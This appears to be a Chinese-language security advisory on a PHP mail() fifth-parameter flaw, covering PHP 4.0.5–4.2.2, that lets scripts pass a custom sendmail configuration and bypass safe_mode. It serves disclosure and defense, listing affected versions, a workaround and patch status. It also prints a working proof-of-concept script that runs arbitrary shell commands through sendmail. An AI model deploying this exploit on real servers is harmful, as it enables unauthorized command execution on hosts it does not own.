受影响系统:
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1.0
PHP PHP 4.1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
描述:
--------------------------------------------------------------------------------
PHP是一种流行的WEB服务器端编程语言,它功能强大,简单易用,在很多Unix操作系统默认都安装了PHP, 它也可以在Windows系统下运行。
PHP函数mail的第五个参数存在漏洞,远程攻击者可能利用此漏洞结构CGI脚本中的漏洞绕过PHP的safe_mode的限制执行系统命令。
从PHP-4.0.5开始,mail函数引入了第五个参数。去年被发现该参数没有很好过滤shell字符使得可以绕过safe_mode的限制执行系统命令。( http://www.nsfocus.com/index.php?act=sec_bug&do=view&bug_id=1593 )该漏洞在PHP-4.0.6被修复。
然而,PHP的mail函数仍然存在漏洞。mail函数的第五个参数可以在发送mail的时候给MTA(php.ini的sendmail_path设定,默认都是sendmail)传递额外的选项参数,sendmail的-Cfile选项能够改变配置文件,利用sendmail的特性,我们可以在配置文件里指定执行命令,从而使得PHP的mail函数绕过safe_mode的限制来执行任意系统命令。
<*来源:Wojciech Purczynski (cliph@isec.pl)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103011916928204&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Wojciech Purczynski (cliph@isec.pl)提供了如下测试方法:
- -----8<----- bypass_safe_mode.php -----8<-----
<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
- -----8<----- bypass_safe_mode.php -----8<-----
为了达到测试效果,在使用sendmail、开启safe_mode的PHP环境下执行,并且php脚本的属主要和启动WEB Server的用户一致,否则在safe_mode模式下由于脚本的属主和操作文件的属主不同而发生冲突。
可以用其它命令替换rm -f $script $cf;或在后面追加多个命令,用分号隔开。
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 如果您的主机有其它Web用户可以建立PHP脚本,请在php.ini里暂时关闭mail函数:
disable_functions = mail
然后重启WEB Server。
* 使用PHP的最新CVS代码重新编译PHP。
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net
PHP的CVS已经修复了这个漏洞。